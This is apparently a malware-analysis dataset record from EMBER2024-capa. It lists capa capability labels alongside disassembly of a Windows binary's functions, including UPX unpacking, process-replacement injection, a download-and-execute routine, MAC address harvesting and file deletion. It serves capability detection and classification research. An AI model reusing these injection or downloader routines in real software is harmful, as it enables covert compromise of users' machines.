joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4321a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d000]
push edi
or ebp, 0xffffffff
jmp 0x4321c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4321c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4321b8
mov eax, 1
add ebx, ebx
jne 0x4321db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4321d0
jne 0x4321ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4321d0
xor ecx, ecx
sub eax, 3
jb 0x432200
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x432272
mov ebp, eax
add ebx, ebx
jne 0x43220b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x432218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43223c
inc ecx
add ebx, ebx
jne 0x432228
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43221d
jne 0x432239
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43221d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43225c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43224d
jmp 0x4321be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43225c
add edi, ecx
jmp 0x4321be
pop esi
mov edi, esi
mov ecx, 0x23b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43227a
cmp byte [edi], 1
jne 0x43227a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43227f
lea edi, [esi + 0x30000]
mov eax, dword [edi]
or eax, eax
je 0x4322f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x32684]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x32738]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4322ac
mov ecx, edi
jns 0x4322db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3273c]
or eax, eax
je 0x4322f1
mov dword [ebx], eax
add ebx, 4
jmp 0x4322c9
call dword [esi + 0x32740]
popal
jmp 0x4030c4
Function at 0x401000
Capabilities:
Create process on windows
Create process suspended
Create thread
Get common file path
Inject thread
Resume thread
Use process replacement

Disassembly:
sub esp, 0x854
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x454]
push esi
push edi
mov edi, dword [esp + 0x860]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x5c]
push ecx
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x60]
push ecx
push edx
push 0
push 4
push 0
push 0
lea eax, [esp + 0x478]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40114b
lea ecx, [esp + 0x65c]
push 0x200
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [esp + 0x864]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x25c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x1000
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x200
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
lea edx, [esp + 0x260]
mov esi, eax
mov eax, dword [esp + 0xc]
push 0x200
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push esi
push 0x40703c
push 0x407030
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x14]
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop edi
mov al, 1
pop esi
add esp, 0x854
ret
pop edi
xor al, al
pop esi
add esp, 0x854
ret
Function at 0x415fe0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor eax, eax
mov edx, eax
and edx, 1
dec edx
not edx
and edx, 0xedb88320
mov ecx, eax
shr ecx, 1
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov dword [eax*4 + 0x455980], ecx
inc eax
cmp eax, 0x100
jb 0x415fe2
cmp eax, 0x800
jae 0x4160b3
mov edi, edi
mov edx, dword [eax*4 + 0x455580]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x455980]
inc eax
mov dword [eax*4 + 0x45597c], edx
cmp eax, 0x800
jb 0x416090
mov dword [0x453f88], 0x4160e0
call fcn.00419b30
mov ecx, dword [0x453f88]
mov edx, 0x416180
test eax, eax
cmove ecx, edx
mov dword [0x453f88], ecx
ret

Function at 0x416d80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [edi]
test esi, esi
jne 0x416d94
pop edi
xor eax, eax
pop esi
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [edi], 0
mov ecx, 0x400000
push 0
lea eax, [ebp + 0x10]
push eax
mov eax, esi
cmp esi, 0x400000
cmova eax, ecx
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [eax]
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x10]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x416de9
test ecx, ecx
je 0x416de2
mov ecx, 0x400000
test esi, esi
jne 0x416da3
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop ebx
pop edi
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x416e90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [edi]
test esi, esi
jne 0x416ea4
pop edi
xor eax, eax
pop esi
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [edi], 0
mov ecx, 0x400000
push 0
lea eax, [ebp + 0x10]
push eax
mov eax, esi
cmp esi, 0x400000
cmova eax, ecx
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [eax]
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0x10]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x416ef9
test ecx, ecx
je 0x416ef2
mov ecx, 0x400000
test esi, esi
jne 0x416eb3
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop ebx
pop edi
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x419990
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax]
sub esp, 0x10
and eax, 7
push ebx
xor ebx, ebx
cmp ecx, 5
jae 0x4199b0
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
add dword [ebp + 0x10], 5
push esi
mov esi, dword [ebp + 8]
push edi
lea edx, [ecx - 4]
or edi, 0xffffffff
add edx, esi
mov dword [ebp + 0xc], edx
add esi, ebx
mov dword [ebp - 4], esi
cmp esi, edx
jae 0x4199e2
lea ecx, [ecx]
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x4199df
inc esi
cmp esi, edx
jb 0x4199d0
mov dword [ebp - 4], esi
mov ebx, esi
sub ebx, dword [ebp + 8]
mov ecx, ebx
sub ecx, edi
cmp esi, edx
jae 0x419b07
cmp ecx, 3
jbe 0x4199fc
xor eax, eax
jmp 0x419a3a
dec ecx
shl eax, cl
and eax, 7
je 0x419a3a
movzx ecx, byte [eax + 0x44557c]
mov edx, esi
sub edx, ecx
cmp byte [eax + 0x445574], 0
mov cl, byte [edx + 4]
je 0x419a24
test cl, cl
je 0x419a24
cmp cl, 0xff
jne 0x419a37
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
mov edi, ebx
or eax, 1
inc ebx
jmp 0x4199c4
mov edx, dword [ebp + 0xc]
mov cl, byte [esi + 4]
mov edi, ebx
mov dword [ebp - 0x10], edi
test cl, cl
je 0x419a5c
cmp cl, 0xff
je 0x419a5c
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
or eax, 1
inc ebx
jmp 0x4199c4
movzx edi, cl
movzx ecx, byte [esi + 3]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 2]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 1]
mov esi, dword [ebp + 0x10]
shl edi, 8
or edi, ecx
lea ecx, [ecx]
cmp dword [ebp + 0x18], 0
je 0x419a8d
lea edx, [edi + ebx]
add edx, esi
jmp 0x419a93
mov edx, edi
sub edx, ebx
sub edx, esi
test eax, eax
je 0x419ad1
movzx edi, byte [eax + 0x44557c]
shl edi, 3
mov ecx, 0x18
sub ecx, edi
mov dword [ebp - 0xc], edi
mov edi, edx
shr edi, cl
mov ecx, edi
mov dword [ebp - 8], edi
test cl, cl
je 0x419abd
cmp cl, 0xff
jne 0x419ad1
mov ecx, 0x20
sub ecx, dword [ebp - 0xc]
mov edi, 1
shl edi, cl
dec edi
xor edi, edx
jmp 0x419a80
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x10]
mov ecx, edx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, edx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, edx
shr ecx, 8
mov byte [esi + 1], dl
mov edx, dword [ebp + 0xc]
mov byte [esi + 2], cl
mov esi, dword [ebp + 8]
add ebx, 5
jmp 0x4199c4
pop edi
pop esi
cmp ecx, 3
jbe 0x419b1c
mov ecx, dword [ebp + 0x14]
xor eax, eax
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
dec ecx
shl eax, cl
mov ecx, dword [ebp + 0x14]
and eax, 7
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41bc40
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0
push 0
push 0
push 0
push str.Beacon
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
jne 0x41bc65
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0
push connect
push 0
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x41bc90
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41bc88
push edi
push 0x100
call fcn.00424388
push dword [ebp + 8]
mov edi, eax
call fcn.0041bd70
add esp, 8
lea eax, [ebp - 4]
push eax
push 0x100
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41bd14
test eax, eax
je 0x41bd14
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41bd3e
lea eax, [ebp - 4]
push eax
push 0x100
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x41bce3
push edi
call fcn.004281da
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004281da
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41bd70
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
push 0
push 0
push str.DownLoad
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
jne 0x41bd90
pop esi
pop ebp
ret
push ebx
push 0
push connect
push 0
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
test ebx, ebx
jne 0x41bdb9
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
xor eax, eax
pop esi
pop ebp
ret
push edi
push 0
push 2
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
call esi
push ebx
call esi
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x41bde0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442c10
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x452598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ecx + 0x24], 8
lea esi, [ecx + 0x10]
jb 0x41be1a
mov eax, dword [esi]
jmp 0x41be1c
mov eax, esi
cmp dword [ecx + 0x3c], 8
lea edi, [ecx + 0x28]
jb 0x41be29
mov ecx, dword [edi]
jmp 0x41be2b
mov ecx, edi
push 0
push eax
push ecx
call fcn.0041bc40
add esp, 0xc
xor eax, eax
push 8
push str.downing
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
call fcn.00414d90
cmp dword [edi + 0x14], 8
mov dword [ebp - 4], 0
jb 0x41be69
mov edi, dword [edi]
cmp word [edi], 0
jne 0x41be73
xor ecx, ecx
jmp 0x41be8f
mov ecx, edi
lea edx, [ecx + 2]
jmp 0x41be80
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41be80
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x40]
call fcn.00414b40
push 2
xor eax, eax
push 0x4455f4
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.00414d90
cmp dword [esi + 0x14], 8
mov byte [ebp - 4], 1
jb 0x41beca
mov edx, dword [esi]
jmp 0x41becc
mov edx, esi
cmp word [edx], 0
jne 0x41bed6
xor ecx, ecx
jmp 0x41beef
mov ecx, edx
lea edi, [ecx + 2]
jmp 0x41bee0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41bee0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00414b40
push 4
push 0
push str..exe
mov ecx, esi
call fcn.00415050
cmp eax, 0xffffffff
je 0x41bf70
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.004296c0
xorps xmm0, xmm0
add esp, 0xc
cmp dword [esi + 0x14], 8
mov eax, 1
mov dword [ebp - 0x94], 0x44
mov dword [ebp - 0x68], 1
mov word [ebp - 0x64], ax
movq qword [ebp - 0x50], xmm0
movq qword [ebp - 0x48], xmm0
jb 0x41bf50
mov esi, dword [esi]
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x94]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 0x14], 8
jb 0x41bf81
push dword [ebp - 0x28]
call fcn.004281da
add esp, 4
xor eax, eax
cmp dword [ebp - 0x2c], 8
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
jb 0x41bfa6
push dword [ebp - 0x40]
call fcn.004281da
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00428be6
mov esp, ebp
pop ebp
ret

Function at 0x41bfd0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
mov esi, ecx
push 0x12
push dword [esi + 8]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41c000
push 0
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 4]
test eax, eax
je 0x41c019
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x41c019
mov dword [esi + 4], 0
pop esi
pop ebp
ret 4
Function at 0x41c1b0
Capabilities:
Hash data with md5

Disassembly:
push esi
push 0x40
lea esi, [ecx + 0x5c]
push 0
push esi
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.0041c990
mov byte [esi], 0x80
pop esi
ret

Function at 0x41ca10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x41ca24
pop ebp
ret 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop ebp
ret 4
Function at 0x41e1d0
Capabilities:
Create shortcut via ishelllink
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x452598]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x210]
push eax
push 0x4460ec
push 1
push 0
push 0x44610c
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x41e269
call fcn.0042a098
mov eax, 1
cmp eax, 0xa
jge 0x41e23c
inc eax
jmp 0x41e234
call fcn.0042a098
call fcn.0042a098
call fcn.0042a098
call fcn.0042a098
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00428be6
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x210]
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x210]
push str._ProgramFiles_Internet_Explorer
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test esi, esi
jne 0x41e2ca
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004296c0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x103
push eax
push str._ProgramFiles_Internet_Exploreriexplore.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea edx, [ebp - 0x20c]
push edx
jmp 0x41e2cd
push 0
push esi
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x210]
lea edx, [ebp - 0x214]
mov ecx, dword [eax]
push edx
push 0x4460fc
push eax
call dword [ecx]
test eax, eax
jns 0x41e319
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00428be6
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x214]
push 2
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00428be6
mov esp, ebp
pop ebp
ret
Function at 0x41e3c0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442dc0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x452598]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
xor edi, edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], 0x4458b8
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
xor ebx, ebx
call fcn.004242d0
test eax, eax
jle 0x41e41c
lea ecx, [ebp + 8]
call fcn.004242d0
mov ebx, eax
lea ecx, [ebp + 8]
call fcn.004242d0
inc eax
je 0x41e440
mov ecx, 4
cmp eax, ecx
cmovb eax, ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00421f90
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
lea ecx, [ebp + 8]
call fcn.004242d0
lea eax, [eax*2 + 2]
push eax
lea ecx, [ebp + 8]
call fcn.00423ff0
push eax
push edi
call fcn.00428450
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.004242d0
inc eax
mov dword [ebp - 0x10], eax
lea ecx, [eax + 1]
cmp esi, ecx
jae 0x41e4a9
sub ecx, esi
cmp esi, 0x40
jbe 0x41e483
mov eax, esi
shr eax, 2
jmp 0x41e492
mov eax, 8
cmp eax, esi
sbb eax, eax
and eax, 0xc
add eax, 4
cmp eax, ecx
cmova ecx, eax
lea eax, [esi + ecx]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00421f90
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [edi + eax*2], cx
cmp ebx, 0x104
jl 0x41e4bb
xor esi, esi
jmp 0x41e504
xorps xmm0, xmm0
movq qword [ebp - 0x2c], xmm0
mov eax, 0x414
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x3c]
movq qword [ebp - 0x3c], xmm0
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], ecx
mov word [ebp - 0x20], cx
push eax
mov dword [ebp - 0x26], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x22], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x38], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push edi
call fcn.004299b5
add esp, 4
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.00423f90
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ef80
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442edb
mov eax, dword fs:[0]
push eax
mov eax, 0x2920
call fcn.00429040
mov eax, dword [0x452598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x28fc], 7
mov dword [ebp - 0x2900], 0
mov word [ebp - 0x2910], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x292c]
push eax
lea eax, [ebp - 0x28f8]
push eax
mov dword [ebp - 0x292c], 0x2880
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x41f042
push 6
push str.000000
lea ecx, [ebp - 0x2910]
call fcn.00414d90
cmp dword [ebp - 0x28fc], 8
mov eax, dword [ebp - 0x2910]
lea esi, [ebp - 0x2910]
cmovae esi, eax
jb 0x41f025
push eax
call fcn.004281da
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00428be6
mov esp, ebp
pop ebp
ret
movzx eax, byte [ebp - 0x275f]
push eax
movzx eax, byte [ebp - 0x2760]
push eax
movzx eax, byte [ebp - 0x2761]
push eax
movzx eax, byte [ebp - 0x2762]
push eax
movzx eax, byte [ebp - 0x2763]
push eax
movzx eax, byte [ebp - 0x2764]
push eax
lea eax, [ebp - 0x44]
push str._02x_02x_02x_02x_02x_02x
push eax
lea esi, [ebp - 0x28f8]
call fcn.0042a230
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x2928]
push eax
call fcn.0041f5e0
mov edi, eax
lea eax, [ebp - 0x2910]
add esp, 0x28
cmp eax, edi
je 0x41f0e1
cmp dword [ebp - 0x28fc], 8
jb 0x41f0bc
push dword [ebp - 0x2910]
call fcn.004281da
add esp, 4
xor eax, eax
push edi
lea ecx, [ebp - 0x2910]
mov dword [ebp - 0x28fc], 7
mov dword [ebp - 0x2900], eax
mov word [ebp - 0x2910], ax
call fcn.00413f90
cmp dword [ebp - 0x2914], 8
jb 0x41f100
push dword [ebp - 0x2928]
call fcn.004281da
add esp, 4
jmp 0x41f100
push 6
push str.000000
push dword [ebp - 0x2900]
lea ecx, [ebp - 0x2910]
push 0
call fcn.00423020
test eax, eax
jne 0x41f004
mov esi, dword [esi]
test esi, esi
je 0x41f004
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x78]
push str._02x_02x_02x_02x_02x_02x
push eax
call fcn.0042a230
lea eax, [ebp - 0x78]
jmp 0x41f089